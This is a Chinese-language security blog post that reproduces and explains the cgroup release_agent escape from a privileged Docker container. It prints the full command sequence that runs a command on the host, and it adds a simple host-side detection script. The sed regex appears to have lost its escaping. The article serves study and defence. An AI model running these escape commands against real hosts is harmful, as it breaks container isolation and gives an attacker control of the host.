背景
近期,结合实际工作和研究需要,参考文章[1],对 Docker
的特权容器逃逸,进行了复现和测试,希望通过此文记录复现过程,并结合理解对利用的 POC
代码进行了分析和整理。并针对类似的攻击,提出一种宿主机层面的简易检测方法。
特权容器privileged逃逸
当操作者以 privileged
特权模式运行容器时,Docker
将允许容器访问宿主机上的所有设备,文件等。通过挂载和 cgroup
等技巧,能够执行命令并获取宿主机信息。
系统环境信息
1.Hyper-V 管理器10.0.18362.12.Ubuntu 18.04 LTS:在Hyper-V中安装以虚拟机模式运行3.容器:ubuntu容器,tag为latest,且要将 --privileged
作为参数之一启动容器4.Docker 18.06.0-ce:Linux版本
复现先序条件
1.容器内运行账户要求为 root
;2.通过Linux运行容器时要求支持 SYS_ADMIN
(能够赋予容器极高权限操作的能力,细节请参考SYS_ADMIN讲解文章[2]);3.容器缺少 AppArmor
(内核强制访问控制工具) 配置文件,这样能够允许容器执行 syscall
系统调用;4.要求cgroup v1
文件系统必须以读和写的方式挂载入容器。
复现过程
1.给当前环境做一检查点(避免因奇奇怪怪的操作对环境造成的损害)2.在宿主机上执行如下命令以启用一 ubuntu
容器:
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
3.在容器内部执行如下命令:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
tail -n 5 /output
执行效果如下图所示,能够在/output
中显示宿主机 ps aux
命令的结果信息信息:
原理分析
1.创建目录,并挂载cgroup
为了触发该利用,我们需要一个能够创建release_agent文件且能够触发release_agent执行的cgroup(方法:通过kill该cgroup下的所有进程),最容易的方法就是挂载一个cgroup,并在该cgroup下创建一个子cgroup(x目录就是子cgroup)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
如果创建目录 /tmp/cgrp
成功,则执行 mount -t cgroup -o rdma cgroup /tmp/cgrp
,将 cgroup
直接以 cgroup
类型挂载至 /tmp/cgrp
目录下,挂载选项为 rdma
,并在 /tmp/cgrp/
中创建一个 x
目录(子 cgroup
)。执行效果如下:
2.激活子cgroup中的notify_on_release这一flag
通过激活x这一子cgroup的notify_on_release,使得在子cgroup退出时能够执行其父cgroup中的release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
当将 notify_on_release
被设置为1时,在child cgroup
(此处为/tmp/cgrp/x)被移除时,内核将会运行顶层cgroup
(/tmp/cgrp)下的release_agent
文件中指定的命令
3.提取并设置release_agent脚本路径
希望cgroup执行/cmd中的脚本,可通过在容器内读取
/etc/mtab
获取到容器在宿主机上的路径
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
sed的 -n
选项代表只显示匹配的行,s/.*perdir=([^,]*).*/1/p
为sed命令支持的的表达式, s/
代表替换:将 .*perdir=([^,]*).*
匹配到的内容,替换为 1
,而 1
代表的是.*perdir=([^,]*).*
匹配到的第一个group内容,/p
代表打印。匹配效果如下:
上述指令获取的内容就是 uppdir=
后面跟随的路径,如上图最后一个命令输出结果所示。
echo "$host_path/cmd" > /tmp/cgrp/release_agent
将得到的路径后追加了一个 cmd
路径,并写入 release_agent
文件,经在容器内测试,该路径并不存在,如下图所示,根据理解,宿主机可通过该路径访问容器根目录:
4.构建/cmd脚本
通过步骤三路径,以容器身份创建/cmd脚本,这时容器内也会有/cmd脚本,且该脚本会执行
ps aux
,并将结果输出到宿主机索引到的容器路径/output下,输出的路径为宿主机的实际路径,且该/output在容器内也可被访问到(因为实际上对应于同一个文件,只是一个同宿主机访问,一个从容器访问)
echo '#!/bin/sh' > /cmd # 脚本解析器为/bin/sh
echo "ps aux > $host_path/output" >> /cmd # 将ps aux输出数据写入$host_path/output中
构建/cmd脚本的原因就是,为了让cgroup最后一个程序退出时能够执行/cmd内部的脚本。
5.为/cmd脚本加执行权限(+x)
chmod a+x /cmd
6.搞父进程的PID号,写入到cgroup任务中
通过在x子cgroup创建一个可以立即结束的进程,实施攻击:通过创建
/bin/sh
进程并将其PID
写入x子cgroup目录中的cgroup.procs
文件,主机上的脚本/cmd
将在/bin/sh
退出后执行,通过执行 ps aux > $host_path/output ,可以在容器/output访问到结果。
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
一个在宿主机中检测是否存在该脆弱点的简单脚本方法
#!/bin/bash
docker inspect $(docker ps -aq)|grep -q 'SYS_ADMIN'
result1=$?
docker inspect $(docker ps -aq)|grep -q 'apparmor=unconfined'
result2=$?
if [ $result1 -eq 0 ] || [ $result2 -eq 0 ];then
echo "Not good"
else
echo "Seems ok!"
fi
运行效果如下:
知识点补充
SYS_ADMIN
如果不能以SYS_ADMIN启动docker容器,将无法使用mount操作,进而实施逃逸。
使用 man
手册,同样可以查到 SYS_ADMIN
所支持的命令权限,命令如下:
man 7 capalibities # 查询man7号手册中的capabilities
也可以直接访问man 7 capalibities[3]查看相关信息,通过查询发现,SYS_ADMIN
能够支持如下敏感的系统调用操作,尤其是 mount
:
Perform a range of system administration operations including: quotactl(2), mount(2), umount(2), swapon(2), swapoff(2), sethostname(2), and setdomainname(2);
在启用 Docker
容器时,可通过如下参数为容器添加 SYS_ADMIN
权限:
--cap-add=SYS_ADMIN
AppArmor
根据Ubuntu wiki[4]给出的介绍, AppArmor
是Linux系统内核级的强制访问控制系统,通过将访问资源与程序绑定的方式提供访问控制这一安全功能。 AppArmor
安全策略能够完整的定义个别应用程序可以访问的系统资源及其可用的特权。
docker-default这一Docker默认使用的安全策略,即使容器确定以SYS_ADMIN启动时,同样也会强制禁止mount这类系统调用(毕竟在内核层面)
在启用 Docker
容器时,可通过如下参数,不允许 Docker
使用默认的 AppArmor
策略:
--security-opt apparmor=unconfined # unconfined代表不限制
mount中使用的rdma选项
RDMA
是 Remote Direct Memory Access
的缩写:又名远程直接内存访问,为解决网络传输中服务器端数据处理的延迟而产生的。通过 rdma
选项进行 mount
挂载,能够获得 realtime
选项的支持,代表实时数据属性。
notify_on_release
如果使能(设置为1) notify_on_release
这个标志位,当cgroup
中最后一个task
离开的时候(task
退出或者绑定到其他cgroup
上)并且在最后child cgroup
被移除时,内核将会运行顶层cgroup
下的release_agent
文件中指定的命令,并提供这个cgroup
相对于挂载点的路径。通过设置该标志位允许自动移除被废弃的cgroup
。在系统启动的时候,root cgroup
的notify_on_release
默认值为0。其他cgroup
的值为在其继承父cgroup
创建时,会集成继承父cgroup
的notify_on_release
设置。用最简单的话说就是:表示是否在cgroup中最后一个任务退出时通知运行release agent。
样例:通过release_agent自动移除cgroup文件夹内文件
参照以下步骤,可将空 cgroup 从 cpu
cgroup 中自动移除:
1.例如,创建一个 shell 脚本用来移除空 cpu
cgroups,将其放入 /usr/local/bin
,并使其可运行。
~]# cat /usr/local/bin/remove-empty-cpu-cgroup.sh
#!/bin/sh
rmdir /cgroup/cpu/$1
~]# chmod +x /usr/local/bin/remove-empty-cpu-cgroup.sh
$1
变量包含到达已清空 cgroup 的相对路径。
2.在 cpu
cgroup,启动 notify_on_release
标签:
~]# echo 1 > /cgroup/cpu/notify_on_release
3.在 cpu
cgroup 中,指定一个可用的释放代理("/usr/local/bin/remove-empty-cpu-cgroup.sh"):
~]# echo "/usr/local/bin/remove-empty-cpu-cgroup.sh" > /cgroup/cpu/release_agent
4.测试您的配置,以确保已清空 cgroup 被正确移除:
cpu]# pwd; ls
/cgroup/cpu
cgroup.event_control cgroup.procs cpu.cfs_period_us cpu.cfs_quota_us cpu.rt_period_us cpu.rt_runtime_us cpu.shares cpu.stat libvirt notify_on_release release_agent tasks
cpu]# cat notify_on_release
1
cpu]# cat release_agent
/usr/local/bin/remove-empty-cpu-cgroup.sh # cgroup结束时要运行的代理
cpu]# mkdir blue; ls
blue cgroup.event_control cgroup.procs cpu.cfs_period_us cpu.cfs_quota_us cpu.rt_period_us cpu.rt_runtime_us cpu.shares cpu.stat libvirt notify_on_release release_agent tasks
cpu]# cat blue/notify_on_release
1
cpu]# cgexec -g cpu:blue dd if=/dev/zero of=/dev/null bs=1024k &
[1] 8623
cpu]# cat blue/tasks
8623
cpu]# kill -9 8623
cpu]# ls
cgroup.event_control cgroup.procs cpu.cfs_period_us cpu.cfs_quota_us cpu.rt_period_us cpu.rt_runtime_us cpu.shares cpu.stat libvirt notify_on_release release_agent tasks
为什么能够多次挂载cgroup
cgroup
控制器是全局资源,可以使用不同的权限多次挂载,并且一次挂载中所带来的变化也会影响其他的挂载。
References
[1]
文章: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/[2]
SYS_ADMIN讲解文章: https://sq.163yun.com/blog/article/178222638887047168[3]
man 7 capalibities: https://linux.die.net/man/7/capabilities[4]
Ubuntu wiki: https://wiki.ubuntu.com/AppArmor
喜欢就请关注我们吧!
本文始发于微信公众号(Pai Sec Team):一种Docker容器逃逸姿势的总结及分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论